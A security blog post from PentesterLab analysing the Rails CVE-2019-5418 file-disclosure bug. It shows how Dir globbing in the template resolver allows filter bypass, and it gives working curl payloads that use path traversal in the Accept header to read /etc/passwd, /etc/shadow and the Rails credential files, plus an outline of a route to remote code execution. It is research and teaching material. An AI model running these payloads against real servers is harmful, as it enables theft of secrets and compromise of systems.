CVE-2019–5418: on WAF bypass and caching

Published: 04 Apr 2019

If you follow PentesterLab on Twitter, you probably saw the following tweet:

You may also have come across the following blog linked as part of the “worth-reading” articles for last week: https://chybeta.github.io/2019/03/16/Analysis-for%E3%80%90CVE-2019-5418%E3%80%91File-Content-Disclosure-on-Rails/

This article is really interesting but stops exactly when things get interesting…

How does Rails go from:

/etc/passwd{{},}{+{},}{.{raw,erb,html,builder,ruby,coffee,jbuilder},}

to:

/etc/passwd
view raw psswd hosted with ❤ by GitHub

When reading the code involved in the template resolver, you will come across the following code:

def find_template_paths(query)
Dir[query].uniq.reject do |filename|
File.directory?(filename) ||
# deals with case-insensitive file systems.
!File.fnmatch(query, filename, File::FNM_EXTGLOB)
end
end
view raw resolver.rb hosted with ❤ by GitHub

This code is both genius and crazy… and I won’t be surprised if it brings more vulnerabilities in the future…

The resolver uses the Ruby method Dir that relies on a glob. So you can provide a glob and use characters like *, ? … A good way to bypass any filter on /etc/passwd:

> Dir["/etc/passwd"].uniq
=> ["/etc/passwd"]
> Dir["/etc/p*ss*d"].uniq
=> ["/etc/passwd"]
> Dir["/e*c/p*ss*d"].uniq
=> ["/etc/passwd"]
> Dir["/e?c/p*ss[w|z]d"].uniq
=> ["/etc/passwd"]
view raw dir_example.rb hosted with ❤ by GitHub
Now, the important part, the thing only a few people are talking about:
% curl -H 'Accept: ../../../etc/hostname{{' http://vulnerable/blah
vulnerable
% curl -H 'Accept: ../../../etc/passwd{{' http://vulnerable/blah
vulnerable
% curl -H 'Accept: ../../../etc/shadow{{' http://vulnerable/blah
vulnerable
% curl -H 'Accept: ../../../etc/randomfilethatdoesntexist{{' http://vulnerable/blah
vulnerable
view raw caching.sh hosted with ❤ by GitHub

In production mode, Rails aggressively caches views and you basically need to wait for a restart of the server if you want to get another file. You may get lucky and:

  • The server may be redeployed daily.
  • The application is load-balanced and you can hit a different server.
  • You use the DOS (CVE-2019–5419) that got published at the same time (!stealthy)

The real issue is the most likely way to get remote command execution with this bug is to:

  1. have the application running with the :marshal serialiser.
  2. get the file config/credentials.yml.enc for the list of encrypted credentials
  3. get the file config/master.key to be able to decrypt config/credentials.yml.enc
  4. forge your own session with the RUBY 2.X UNIVERSAL RCE DESERIALIZATION GADGET CHAIN from @bitcoinctf

Since you need to download two files (step 2 and 3) you will need to wait for the cache to get cleared…

Basically, most people trying to get this payload to work, only do it in development mode and are up for a surprise when attacking real applications!

After a bit more work with @bitcoinctf, it’s possible to use a race condition (if you are the first one exploiting the issue) to get multiple files served at the exact same time (but you only have one shot):

$ curl \
-H 'Accept: ../../../../../../*/*/root/*/*/root/*/*/root/*/config/credentials.yml.enc{{' \
http://vulnerable/info & curl \
-H 'Accept: ../../../../../../*/*/root/*/*/root/*/*/root/*/config/master.key{{' \
http://vulnerable/info
Photo of Louis Nyffenegger
Written by Louis Nyffenegger
Founder and CEO @PentesterLab
Related Blog Post

Join the PentesterLab's Newsletter

Subscribe to get our latest content by email.

    We won't send you spam. Unsubscribe at any time.